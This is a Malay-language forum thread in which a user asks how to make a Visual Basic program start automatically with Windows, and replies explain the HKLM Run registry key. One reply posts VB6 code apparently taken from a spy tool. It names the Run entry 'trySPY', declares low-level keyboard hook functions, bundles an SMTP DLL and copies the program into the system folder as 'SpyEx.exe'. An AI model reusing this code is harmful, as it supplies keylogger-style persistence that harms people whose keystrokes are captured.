Jump to content
Sign in to follow this  
RockOi

Sistem Library

Recommended Posts

aku dah siapkan sistem yang aku buat..tapi aku tak tau camner kasi dia auto run kat windows bila pc tu di on kan..boleh bantu tak sesaper yang yg tau..

Share this post


Link to post
Share on other sites

another method:

Edit Registry

---------------

Run --> regedit.exe

masuk ke HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run

Create key baru pastu pointkan program. Cth:

C:\program files\program.exe

Share this post


Link to post
Share on other sites

mm puteranetwork..

nak tanya sket apa masalahnyer kalau kite dah create key baru pastu bila rename ada arahan -error renaming key..

"The Registry Editor cannot rename New Key #1. Specify a key name without a backslash (\)"

terima kasih.. smile.gif

Share this post


Link to post
Share on other sites

mm puteranetwork..

nak tanya sket apa masalahnyer kalau kite dah create key baru pastu bila rename ada arahan -error renaming key..

"The Registry Editor cannot rename New Key #1. Specify a key name without a backslash (\)"

terima kasih.. smile.gif

registry tak accept backslash (\) character.

Share this post


Link to post
Share on other sites

aku rase dia nak yg mcm ni kot :-

Private Const REG_SZ As Long = 1

'Registry Variables to start program with windows

Dim subKey As String, key As Long, str As String, size As Long

Public Function startup(Optional uninstall As Boolean)

subKey = "software\microsoft\windows\currentversion\run"

If uninstall = True Then

str = ""

Else: str = App.Path & "\" & App.EXEName & ".exe"

End If

size = Len(str)

'Open key

RegOpenKeyEx HKEY_LOCAL_MACHINE, subKey, 0, KEY_WRITE, key

'Set Value of key

RegSetValueEx key, "trySPY", 0, REG_SZ, ByVal str, size

'Close key

RegCloseKey key

End Function

kalu coding yg aku taruk nih salah aku mintak tolong sape2 tolong aku betulkan.. laugh.giflaugh.gif

Share this post


Link to post
Share on other sites

klu dr cd install program tu terus edit registry boleh ker?

aku rase maksud kau ialah nak create registry automatically biler install dr cd? kalu ini mmg boleh. either ko pakai existing installation wizard mcm PWD, installshield atau innosetup, atau kau buat installation prog sendiri. tapi aku rekomen pakai yg dah tersedia ade, tapi kau kene la pepandai edit installation wizard tu punya code.

kalau macam PWD kau bole copy je kod mcm kat atas tu pasal die pakai vb code jugak, kalau installshield kau kene la tau code ala c sket2.

Share this post


Link to post
Share on other sites

hehe.. lupe polak aku nak tanye sistem tuh buat pakai vb ke ape ke... coding yg aku taruk tuh utk vb(in case ade yg tatau)... laugh.giflaugh.gif

anyway... dh terjwb blom segala persoalan ko tuh RockOi

Share this post


Link to post
Share on other sites

mm dah terjawab rasenye...

aku cuma letak kat desktop je hihi..

ntah problem aper ntah..

registry tak accept backslash (\) character...

nanti aku try lagik.. mekacih..

aRmsTer code yang ko bagi tu nak letak kat mane? rolleyes.gif

Share this post


Link to post
Share on other sites

aRmsTer code yang ko bagi tu nak letak kat mane? rolleyes.gif

letak kat dalam ko nye vb program... cthnye bile ko klik button install... tulis la statement utk call function tuh dlm procedure cmdInstall_click() tu..

betul ke ape aku tulis ni... rase mcm ade yg aku termiss je.. nnt aku check balik.. tongue.giftongue.gif

Share this post


Link to post
Share on other sites

hehe.. betulla.. ade yg silap..

ko kene taruk mende alah nih dlm module dulu..

Private Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long

Private Declare Function UnhookWindowsHookEx Lib "user32" (ByVal hHook As Long) As Long

Private Declare Function CallNextHookEx Lib "user32" (ByVal hHook As Long, ByVal ncode As Long, ByVal wParam As Long, lParam As Any) As Long

Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (pDst As Any, pSrc As Any, ByVal ByteLen As Long)

Private Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias "RegOpenKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long

Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long ' Note that if you declare the lpData parameter as String, you must pass it By Value.[/red]

Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long

Private Const WH_KEYBOARD_LL = 13&

Private Const WM_KEYDOWN = &H100

'Registry Constants

Private Const READ_CONTROL As Long = &H20000

Private Const STANDARD_RIGHTS_WRITE As Long = (READ_CONTROL)

Private Const KEY_SET_VALUE As Long = &H2

Private Const KEY_CREATE_SUB_KEY As Long = &H4

Private Const SYNCHRONIZE As Long = &H100000

Private Const KEY_WRITE As Long = _

((STANDARD_RIGHTS_WRITE Or KEY_SET_VALUE Or KEY_CREATE_SUB_KEY) And (Not SYNCHRONIZE))

Private Const HKEY_LOCAL_MACHINE As Long = &H80000002

Private Const REG_SZ As Long = 1

Public Function startup(Optional uninstall As Boolean)

subKey = "software\microsoft\windows\currentversion\run"

If uninstall = True Then

str = ""

Else: str = App.Path & "\" & App.EXEName & ".exe"

End If

size = Len(str)

'Open key

RegOpenKeyEx HKEY_LOCAL_MACHINE, subKey, 0, KEY_WRITE, key

'Set Value of key

RegSetValueEx key, "ProgName", 0, REG_SZ, ByVal str, size

'Close key

RegCloseKey key

End Function

pastuh masukkan code ni utk call code kat atas tuh... pandai2 la ko edit ape yg patut...

Private Sub install_Click()

'Copy app and dll to system32 folder

fso.CopyFile App.Path & "\OSSMTP.dll", winDir & "OSSMTP.dll", True

fso.CopyFile App.Path & "\" & App.EXEName & ".exe", winDir & "SpyEx.exe", True

MsgBox "program is installed in " & winDir & vbNewLine & _

"You can now use command-line arguments from run or the command prompt without the path first."

End

End Sub

Share this post


Link to post
Share on other sites

ermmm... yg atas2 tuh byk declaration je... tapi kalau nak penerangan lagi lanjut tanya puteranetwork sbb aku pon br start main2 registry until recently je.. so xbley nak ajar sgt... sbb aku pon xbrp tau tongue.gif

Share this post


Link to post
Share on other sites

aaa... kalu nak reference lebih lanjut ko bace kat "registry dan vb"... tuh ada (sikit la) cara2 kalau nak bermain2 ngn registry

p/s: copy coding yg puteranetwork bg kat dlm topic tuh... bole pakai lame tuh hehe laugh.giflaugh.gif

Share this post


Link to post
Share on other sites

mcm yg aku ckp la... aku pon br start main2 ngn registry nih... rolleyes.gif so ilmu pon xtinggi... si puteranetwork tu plak ade exp. sbb die penah wat security sistem yg pd aku mesti ade main2 ngn registry punye ahh

ape aku tulis ni laugh.giflaugh.gif

Share this post


Link to post
Share on other sites

mmm samelah kiter..tapi aku lg kureng..

marilah kiter belajar bersama2.. rolleyes.gifrolleyes.gif

aku pun tak tau ape yg aku tulih ni.. tongue.gif

Share this post


Link to post
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

Loading...
Sign in to follow this  

×
×
  • Create New...